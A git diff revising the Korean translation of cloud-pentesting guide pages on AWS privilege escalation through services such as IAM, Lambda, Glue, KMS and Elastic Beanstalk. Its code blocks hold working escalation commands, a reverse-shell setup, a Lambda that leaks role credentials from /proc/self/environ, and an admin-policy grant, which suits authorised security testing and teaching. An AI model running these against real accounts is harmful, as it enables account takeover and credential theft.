+공격자가 EFS의 **마운트 대상**이 없는 **서브네트워크**에 있는 경우, 이 권한으로 **자신의 서브넷에 하나를 생성**할 수 있습니다.
 ```bash
 # You need to indicate security groups that will grant the user access to port 2049
 aws efs create-mount-target --file-system-id  \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index ca3c5cdbe..7a8586354 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -4,18 +4,18 @@
 
 ## Elastic Beanstalk
 
-**Elastic Beanstalk에 대한 더 많은 정보**는 다음에서 확인할 수 있습니다:
+더 많은 **Elastic Beanstalk에 대한 정보**는 다음에서 확인할 수 있습니다:
 
 {{#ref}}
 ../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Beanstalk에서 민감한 작업을 수행하려면 **다양한 서비스에서 많은 민감한 권한**이 필요합니다. 예를 들어 **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**에 부여된 권한을 확인할 수 있습니다.
+> Beanstalk에서 민감한 작업을 수행하려면 **많은 다양한 서비스에서 많은 민감한 권한**이 필요합니다. 예를 들어 **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**에 부여된 권한을 확인할 수 있습니다.
 
 ### `elasticbeanstalk:RebuildEnvironment`, S3 쓰기 권한 및 기타 여러 권한
 
-**환경의 코드**를 포함하는 **S3 버킷에 대한 쓰기 권한**과 애플리케이션을 **재구성**할 수 있는 권한(필요한 권한은 `elasticbeanstalk:RebuildEnvironment` 및 `S3`, `EC2`, `Cloudformation`과 관련된 몇 가지 더 포함됨)이 있으면 **코드**를 **수정**하고 애플리케이션을 **재구성**할 수 있으며, 다음에 애플리케이션에 접근할 때 **새 코드를 실행**하게 되어 공격자가 애플리케이션과 해당 IAM 역할 자격 증명을 손상시킬 수 있습니다.
+**환경의 **코드**가 포함된 S3 버킷에 대한 **쓰기 권한**과 애플리케이션을 **재구성**할 수 있는 권한(필요한 권한은 `elasticbeanstalk:RebuildEnvironment`와 `S3`, `EC2`, `Cloudformation`과 관련된 몇 가지 더 포함됨)이 있으면 **코드**를 **수정**하고 애플리케이션을 **재구성**할 수 있으며, 다음에 애플리케이션에 접근할 때 **새 코드를 실행**하게 되어 공격자가 애플리케이션과 해당 IAM 역할 자격 증명을 손상시킬 수 있습니다.
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -30,15 +30,15 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
 # Rebuild env
 aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
-### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, 그리고 더 많은...
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, 등...
 
-언급된 권한과 여러 **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** 및 **`elasticloadbalancing`** 권한은 처음부터 원시 Elastic Beanstalk 시나리오를 생성하는 데 필요합니다.
+언급된 권한 외에도 여러 **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** 및 **`elasticloadbalancing`** 권한이 원시 Elastic Beanstalk 시나리오를 처음부터 만드는 데 필요합니다.
 
 - AWS Elastic Beanstalk 애플리케이션 생성:
 ```bash
 aws elasticbeanstalk create-application --application-name MyApp
 ```
-- AWS Elastic Beanstalk 환경 생성 ([**지원되는 플랫폼**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
+- AWS Elastic Beanstalk 환경을 생성합니다 ([**지원되는 플랫폼**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
 ```bash
 aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
 ```
@@ -48,7 +48,7 @@ aws elasticbeanstalk create-environment --application-name MyApp --environment-n
 ```python
 zip -r MyApp.zip .
 ```
-- S3 버킷에 ZIP 파일 업로드:
+- ZIP 파일을 S3 버킷에 업로드합니다:
 ```python
 aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip
 ```
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-당신의 **Beanstalk 환경에서** 리버스 쉘을 실행하고 나면, **희생자의** 환경으로 **이동**할 시간입니다. 그렇게 하려면 **희생자가 접근할 수 있도록** 당신의 Beanstalk S3 버킷의 **버킷 정책을 업데이트**해야 합니다 (이것은 **모두에게** 버킷을 **열게** 됩니다):
+당신의 **Beanstalk 환경에서** 리버스 쉘이 실행되고 나면, **희생자의** 환경으로 **이동**할 시간입니다. 그렇게 하려면 **희생자가 접근할 수 있도록** Beanstalk S3 버킷의 **버킷 정책을 업데이트**해야 합니다 (이렇게 하면 **모든 사람에게** 버킷이 **열리게** 됩니다):
 ```json
 {
 "Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index dc87c614e..6c6fd1651 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -36,27 +36,27 @@ aws emr describe-cluster --cluster-id 
 # In MasterPublicDnsName you can find the DNS to connect to the master instance
 ## You cna also get this info listing EC2 instances
 ```
-Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
+**EMR 역할**이 `--service-role`에 지정되고 **ec2 역할**이 `--ec2-attributes`에 지정되는 방식을 주목하세요. 그러나 이 기술은 EC2 역할 자격 증명만 훔칠 수 있게 해줍니다(ssh를 통해 연결할 것이기 때문) 하지만 EMR IAM 역할은 훔칠 수 없습니다.
 
-**Potential Impact:** EC2 서비스 역할로의 권한 상승.
+**잠재적 영향:** 지정된 EC2 서비스 역할로의 권한 상승.
 
 ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
 
-With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role.
+이 권한으로 공격자는 **AWS 콘솔**에 가서 노트북을 생성하고 이를 통해 IAM 역할을 훔칠 수 있습니다.
 
 > [!CAUTION]
-> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related.
+> 노트북 인스턴스에 IAM 역할을 연결하더라도, 제 테스트에서는 AWS 관리 자격 증명을 훔칠 수 있었고 IAM 역할과 관련된 자격 증명은 훔칠 수 없었습니다.
 
-**Potential Impact:** AWS 관리 역할 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 권한 상승.
+**잠재적 영향:** AWS 관리 역할 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 권한 상승.
 
 ### `elasticmapreduce:OpenEditorInConsole`
 
-Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\
-The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`
+이 권한만으로도 공격자는 **Jupyter Notebook에 접근하고** 이에 연결된 IAM 역할을 훔칠 수 있습니다.\
+노트북의 URL은 `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`입니다.
 
 > [!CAUTION]
-> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related.
+> 노트북 인스턴스에 IAM 역할을 연결하더라도, 제 테스트에서는 AWS 관리 자격 증명을 훔칠 수 있었고 IAM 역할과 관련된 자격 증명은 훔칠 수 없었습니다.
 
-**Potential Impact:** AWS 관리 역할 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 권한 상승.
+**잠재적 영향:** AWS 관리 역할 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 권한 상승.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index c451644ee..70b8754e9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -4,12 +4,12 @@
 
 ### `gamelift:RequestUploadCredentials`
 
-이 권한을 사용하면 공격자가 **새로운 게임 빌드 파일을 Amazon GameLift의 Amazon S3에 업로드할 때 사용할 수 있는 신선한 자격 증명 세트를 검색할 수 있습니다**. **S3 업로드 자격 증명**이 반환됩니다.
+이 권한을 통해 공격자는 Amazon GameLift의 Amazon S3에 새로운 게임 빌드 파일을 업로드할 때 사용할 **새로운 자격 증명 세트를 검색할 수 있습니다**. **S3 업로드 자격 증명**이 반환됩니다.
 ```bash
 aws gamelift request-upload-credentials \
 --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
 ```
-## References
+## 참고문헌
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index c1a155a0f..f7ed244e0 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -6,9 +6,9 @@
 
 ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-이 권한이 있는 사용자는 **새로운 AWS Glue 개발 엔드포인트를 설정할 수 있으며**, **특정 권한을 가진 기존 서비스 역할을 Glue에 의해 가정할 수 있도록 이 엔드포인트에 할당합니다**.
+이 권한을 가진 사용자는 **새로운 AWS Glue 개발 엔드포인트를 설정할 수 있으며**, **특정 권한을 가진 Glue에서 가정할 수 있는 기존 서비스 역할을 이 엔드포인트에 할당할 수 있습니다.**
 
-설정 후, **공격자는 엔드포인트의 인스턴스에 SSH로 접속하여**, 할당된 역할의 IAM 자격 증명을 훔칠 수 있습니다:
+설정 후, **공격자는 엔드포인트의 인스턴스에 SSH로 접속하여**, 할당된 역할의 IAM 자격 증명을 탈취할 수 있습니다:
 ```bash
 # Create endpoint
 aws glue create-dev-endpoint --endpoint-name  \
@@ -28,7 +28,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 
 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-이 권한이 있는 사용자는 **기존 Glue 개발** 엔드포인트의 SSH 키를 **변경할 수 있어** SSH 접근을 가능하게 합니다. 이를 통해 공격자는 엔드포인트에 연결된 역할의 권한으로 명령을 실행할 수 있습니다:
+이 권한이 있는 사용자는 **기존 Glue 개발** 엔드포인트의 SSH 키를 **변경할 수 있으며**, **SSH 접근을 가능하게 합니다**. 이를 통해 공격자는 엔드포인트에 연결된 역할의 권한으로 명령을 실행할 수 있습니다:
 ```bash
 # Change public key to connect
 aws glue --endpoint-name target_endpoint \
@@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-**잠재적 영향:** 사용된 Glue 서비스 역할에 대한 권한 상승.
+**잠재적 영향:** 사용된 Glue 서비스 역할로의 권한 상승.
 
 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
 
-**`iam:PassRole`**과 **`glue:CreateJob` 또는 `glue:UpdateJob`** 중 하나, 그리고 **`glue:StartJobRun` 또는 `glue:CreateTrigger`** 중 하나를 결합한 사용자는 **AWS Glue 작업**을 **생성하거나 업데이트**할 수 있으며, 임의의 **Glue 서비스 계정**을 연결하고 작업 실행을 시작할 수 있습니다. 작업의 기능에는 임의의 Python 코드를 실행하는 것이 포함되며, 이를 이용해 리버스 셸을 설정할 수 있습니다. 이 리버스 셸은 Glue 작업에 연결된 역할의 **IAM 자격 증명**을 유출하는 데 사용될 수 있으며, 이는 해당 역할의 권한에 따라 잠재적인 무단 접근 또는 행동으로 이어질 수 있습니다.
+**`iam:PassRole`**과 **`glue:CreateJob` 또는 `glue:UpdateJob`** 중 하나, 그리고 **`glue:StartJobRun` 또는 `glue:CreateTrigger`** 중 하나를 결합한 사용자는 **AWS Glue 작업**을 **생성하거나 업데이트**할 수 있으며, 임의의 **Glue 서비스 계정**을 연결하고 작업 실행을 시작할 수 있습니다. 이 작업의 기능에는 임의의 Python 코드를 실행하는 것이 포함되며, 이를 이용해 리버스 셸을 설정할 수 있습니다. 이 리버스 셸은 Glue 작업에 연결된 역할의 **IAM 자격 증명**을 유출하는 데 사용될 수 있으며, 이는 해당 역할의 권한에 따라 잠재적인 무단 접근 또는 행동으로 이어질 수 있습니다.
 ```bash
 # Content of the python script saved in s3:
 #import socket,subprocess,os
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index 62a0a5fa8..a745424df 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -23,7 +23,7 @@ aws iam create-policy-version --policy-arn  \
 
 ### **`iam:SetDefaultPolicyVersion`**
 
-IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있으며, 새 버전이 더 많은 권한을 가진 경우 권한을 상승시킬 수 있습니다.
+IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있으며, 새 버전이 더 많은 권한을 가지고 있다면 권한을 상승시킬 수 있습니다.
 
 **Bash 명령어:**
 ```bash
@@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn  --version-id
 
 ### **`iam:CreateAccessKey`**
 
-다른 사용자를 위한 액세스 키 ID 및 비밀 액세스 키를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어집니다.
+다른 사용자를 위한 액세스 키 ID 및 비밀 액세스 키를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어질 수 있습니다.
 
 **악용:**
 ```bash
@@ -65,7 +65,7 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require
 ```bash
 aws iam update-access-key --access-key-id  --status Active --user-name 
 ```
-**영향:** 액세스 키를 재활성화하여 직접적인 권한 상승.
+**영향:** 액세스 키를 재활성화하여 직접 권한 상승.
 
 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
 
@@ -75,7 +75,7 @@ aws iam update-access-key --access-key-id  --status Active --user
 ```bash
 aws iam create-service-specific-credential --user-name  --service-name 
 ```
-**재설정을 위한 익스플로잇:**
+**리셋을 위한 익스플로잇:**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id 
 ```
@@ -97,9 +97,9 @@ aws iam attach-group-policy --group-name  --policy-arn "
 
 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
 
-역할, 사용자 또는 그룹에 정책을 첨부하거나 설정할 수 있으며, 추가 권한을 부여하여 직접적인 권한 상승을 가능하게 합니다.
+역할, 사용자 또는 그룹에 정책을 첨부하거나 설정할 수 있는 권한을 부여하여 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다.
 
-**역할을 위한 악용:**
+**역할에 대한 악용:**
 ```bash
 aws iam attach-role-policy --role-name  --policy-arn ""
 ```
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name  --policy-name ""
 aws iam put-role-policy --role-name  --policy-name "" \
 --policy-document file:///path/to/policy.json
 ```
-당신은 다음과 같은 정책을 사용할 수 있습니다:
+정책을 다음과 같이 사용할 수 있습니다:
 ```json
 {
 "Version": "2012-10-17",
@@ -137,11 +137,11 @@ IAM 그룹에 자신을 추가할 수 있게 하여 그룹의 권한을 상속
 ```bash
 aws iam add-user-to-group --group-name  --user-name 
 ```
-**영향:** 그룹의 권한 수준으로 직접 권한 상승.
+**영향:** 그룹 권한 수준으로 직접 권한 상승.
 
 ### **`iam:UpdateAssumeRolePolicy`**
 
-역할의 역할 수임 정책 문서를 변경할 수 있으며, 역할과 그에 따른 권한을 수임할 수 있게 합니다.
+역할의 역할 수임 정책 문서를 변경할 수 있으며, 역할과 관련된 권한을 수임할 수 있게 합니다.
 
 **악용:**
 ```bash
@@ -188,13 +188,13 @@ MFA 장치의 재동기화를 허용하며, MFA 보호를 조작하여 간접적
 aws iam resync-mfa-device --user-name  --serial-number  \
 --authentication-code1  --authentication-code2 
 ```
-**Impact:** MFA 장치를 추가하거나 조작하여 간접적인 권한 상승.
+**영향:** MFA 장치를 추가하거나 조작하여 간접적인 권한 상승.
 
 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
 
-이 권한을 사용하면 **SAML 연결의 XML 메타데이터를 변경**할 수 있습니다. 그런 다음, **SAML 연합**을 악용하여 **신뢰하는 역할**로 **로그인**할 수 있습니다.
+이 권한을 사용하면 **SAML 연결의 XML 메타데이터를 변경**할 수 있습니다. 그런 다음 **SAML 연합**을 악용하여 **신뢰하는 역할**로 **로그인**할 수 있습니다.
 
-이 작업을 수행하면 **정상 사용자들은 로그인할 수 없다는 점에 유의하십시오**. 그러나 XML을 가져올 수 있으므로 자신의 XML을 넣고 로그인한 후 이전 상태로 구성할 수 있습니다.
+이 작업을 수행하면 **정상 사용자들은 로그인할 수 없다는 점에 유의하십시오**. 그러나 XML을 가져올 수 있으므로 자신의 XML을 넣고 로그인한 후 이전 상태로 되돌릴 수 있습니다.
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -224,7 +224,7 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn 
 # Update Thumbprints (The thumbprint is always a 40-character string)
 aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn  --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
 ```
-## References
+## 참고문헌
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 2c1bded3f..7f0f68775 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -12,7 +12,7 @@ KMS에 대한 자세한 정보는 다음을 확인하세요:
 
 ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
 
-이 권한을 사용하면 **키에 대한 액세스 권한을 수정**하여 다른 계정이나 심지어 누구나 사용할 수 있도록 할 수 있습니다:
+이 권한을 사용하면 **키에 대한 접근 권한을 수정**하여 다른 계정이나 심지어 누구나 사용할 수 있도록 할 수 있습니다:
 ```bash
 aws kms list-keys
 aws kms list-key-policies --key-id  # Although only 1 max per key
@@ -49,7 +49,7 @@ policy.json:
 ```
 ### `kms:CreateGrant`
 
-주체가 KMS 키를 사용할 수 있도록 **허용합니다:**
+이것은 **주체가 KMS 키를 사용할 수 있도록 허용합니다:**
 ```bash
 aws kms create-grant \
 --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
@@ -57,12 +57,12 @@ aws kms create-grant \
 --operations Decrypt
 ```
 > [!WARNING]
-> 그랜트는 특정 유형의 작업만 허용할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> 권한 부여는 특정 유형의 작업만 허용할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 > [!WARNING]
-> 그랜트가 생성된 후 KMS가 **사용자가 키를 사용할 수 있도록 허용하는 데 몇 분이 걸릴 수 있습니다**. 그 시간이 지나면 주체는 아무것도 지정할 필요 없이 KMS 키를 사용할 수 있습니다.\
-> 그러나 그랜트를 즉시 사용해야 하는 경우 [그랜트 토큰을 사용하십시오](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (다음 코드를 확인하십시오).\
-> [**자세한 내용은 여기에서 읽어보십시오**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+> 권한 부여가 생성된 후 KMS가 **사용자가 키를 사용할 수 있도록 허용하는 데 몇 분이 걸릴 수 있습니다**. 그 시간이 지나면 주체는 아무것도 지정할 필요 없이 KMS 키를 사용할 수 있습니다.\
+> 그러나 권한을 즉시 사용해야 하는 경우 [grant token을 사용하세요](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (다음 코드를 확인하세요).\
+> [**자세한 내용은 여기에서 읽어보세요**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
 # Use the grant token in a request
 aws kms generate-data-key \
@@ -70,13 +70,13 @@ aws kms generate-data-key \
 –-key-spec AES_256 \
 --grant-tokens $token
 ```
-다음과 같이 키의 권한을 나열할 수 있습니다:
+키의 권한을 나열하는 것이 가능합니다:
 ```bash
 aws kms list-grants --key-id 
 ```
 ### `kms:CreateKey`, `kms:ReplicateKey`
 
-이 권한을 사용하면 다른 정책을 가진 다른 지역에서 다중 지역 활성화 KMS 키를 복제할 수 있습니다.
+이 권한을 사용하면 다른 정책을 가진 다른 지역에서 다중 지역이 활성화된 KMS 키를 복제할 수 있습니다.
 
 따라서 공격자는 이를 악용하여 키에 대한 권한 상승을 얻고 이를 사용할 수 있습니다.
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 633048d29..ad5fcb0a8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -13,7 +13,7 @@ lambda에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
 
 **`iam:PassRole`, `lambda:CreateFunction`, 및 `lambda:InvokeFunction`** 권한을 가진 사용자는 권한을 상승시킬 수 있습니다.\
-그들은 **새로운 Lambda 함수를 생성하고 기존 IAM 역할을 할당하여**, 해당 역할과 관련된 권한을 함수에 부여할 수 있습니다. 사용자는 **이 Lambda 함수에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell)**.\
+그들은 **새로운 Lambda 함수를 생성하고 기존 IAM 역할을 할당하여**, 해당 역할과 관련된 권한을 함수에 부여할 수 있습니다. 사용자는 이후 **이 Lambda 함수에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell)**.\
 함수가 설정되면 사용자는 **AWS API를 통해 Lambda 함수를 호출하여 실행을 트리거할 수 있습니다**. 이 접근 방식은 사용자가 Lambda 함수를 통해 간접적으로 작업을 수행할 수 있게 하며, 해당 함수와 연결된 IAM 역할에 부여된 접근 수준으로 작동합니다.\\
 
 공격자는 이를 악용하여 **rev shell을 얻고 토큰을 훔칠 수 있습니다**:
@@ -47,7 +47,7 @@ aws lambda invoke --function-name my_function output.txt
 aws iam list-attached-user-policies --user-name 
 ```
 당신은 또한 **람다 역할 권한을 남용**할 수 있습니다.\
-람다 역할에 충분한 권한이 있다면, 이를 사용하여 관리자 권한을 부여받을 수 있습니다:
+람다 역할에 충분한 권한이 있다면, 이를 사용하여 관리자 권한을 부여할 수 있습니다:
 ```python
 import boto3
 def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-람다의 역할 자격 증명을 외부 연결 없이 유출하는 것도 가능합니다. 이는 내부 작업에 사용되는 **네트워크 격리 람다**에 유용할 것입니다. 역 셸을 필터링하는 알 수 없는 보안 그룹이 있는 경우, 이 코드 조각은 람다의 출력으로 자격 증명을 직접 유출할 수 있게 해줍니다.
+람다의 역할 자격 증명을 외부 연결 없이 유출하는 것도 가능합니다. 이는 내부 작업에 사용되는 **네트워크 격리 람다**에 유용할 것입니다. 만약 당신의 리버스 셸을 필터링하는 알려지지 않은 보안 그룹이 있다면, 이 코드는 람다의 출력으로 자격 증명을 직접 유출할 수 있게 해줍니다.
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
 aws lambda invoke --function-name  output.txt
 cat output.txt
 ```
-**잠재적 영향:** 지정된 임의의 람다 서비스 역할로 직접적인 권한 상승.
+**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로 직접적인 권한 상승.
 
 > [!CAUTION]
-> 흥미롭게 보일 수 있지만 **`lambda:InvokeAsync`** **자체적으로는** **`aws lambda invoke-async`**를 **실행할 수 없으므로**, `lambda:InvokeFunction`도 필요합니다.
+> 흥미롭게 보일 수 있지만 **`lambda:InvokeAsync`** **자체적으로는** **`aws lambda invoke-async`**를 **실행할 수 없으며**, `lambda:InvokeFunction`도 필요합니다.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
 
-이전 시나리오와 마찬가지로, **`lambda:AddPermission`** 권한이 있다면 **`lambda:InvokeFunction`** 권한을 **부여할 수 있습니다.**
+이전 시나리오와 마찬가지로, **`lambda:AddPermission`** 권한이 있다면 **`lambda:InvokeFunction`** 권한을 **자신에게 부여할 수 있습니다.**
 ```bash
 # Check the previous exploit and use the following line to grant you the invoke permissions
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
 --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-**잠재적 영향:** 지정된 임의의 람다 서비스 역할로 직접 권한 상승.
+**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로 직접 권한 상승.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
 
-**`iam:PassRole`, `lambda:CreateFunction`, 및 `lambda:CreateEventSourceMapping`** 권한이 있는 사용자(그리고 잠재적으로 `dynamodb:PutItem` 및 `dynamodb:CreateTable`)는 **lambda:InvokeFunction** 없이도 간접적으로 **권한을 상승**시킬 수 있습니다.\
+**`iam:PassRole`, `lambda:CreateFunction`, 및 `lambda:CreateEventSourceMapping`** 권한이 있는 사용자(그리고 잠재적으로 `dynamodb:PutItem` 및 `dynamodb:CreateTable`)는 `lambda:InvokeFunction` 없이도 간접적으로 **권한을 상승**시킬 수 있습니다.\
 그들은 **악성 코드를 포함한 Lambda 함수를 생성하고 기존 IAM 역할을 할당**할 수 있습니다.
 
-사용자는 Lambda를 직접 호출하는 대신, 기존 DynamoDB 테이블을 설정하거나 활용하여 이벤트 소스 매핑을 통해 Lambda와 연결합니다. 이 설정은 테이블에 새 항목이 추가될 때 Lambda 함수가 **자동으로 트리거**되도록 보장하며, 이는 사용자의 행동이나 다른 프로세스에 의해 이루어져 Lambda 함수를 간접적으로 호출하고 전달된 IAM 역할의 권한으로 코드를 실행합니다.
+사용자는 Lambda를 직접 호출하는 대신 기존 DynamoDB 테이블을 설정하거나 활용하여 이벤트 소스 매핑을 통해 Lambda와 연결합니다. 이 설정은 테이블에 새 항목이 추가될 때 Lambda 함수가 **자동으로 트리거**되도록 보장하며, 이는 사용자의 행동이나 다른 프로세스에 의해 이루어져 Lambda 함수를 간접적으로 호출하고 전달된 IAM 역할의 권한으로 코드를 실행합니다.
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role  \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-만약 DynamoDB가 AWS 환경에서 이미 활성화되어 있다면, 사용자는 **Lambda 함수에 대한 이벤트 소스 매핑을 설정해야** 합니다. 그러나 DynamoDB가 사용되지 않는 경우, 사용자는 **스트리밍이 활성화된 새 테이블을 생성해야** 합니다:
